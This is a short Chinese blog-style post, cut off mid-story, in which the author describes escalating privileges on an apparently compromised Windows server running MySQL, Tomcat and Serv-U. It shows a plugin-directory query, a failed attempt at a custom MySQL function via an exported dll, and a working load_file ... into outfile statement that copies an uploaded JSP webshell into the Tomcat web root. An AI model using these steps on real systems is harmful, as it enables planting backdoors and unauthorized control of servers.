
解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
1 |
show variables like '%plugin%'; |
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
创建自定义函数似乎被拦截,一直失败。
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
用mysql执行语句:
1 2 |
select load_file('d:\\xxx\\fuck.jsp') into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp' 复制代码 |
后成功。
但是访问后得到如下提示: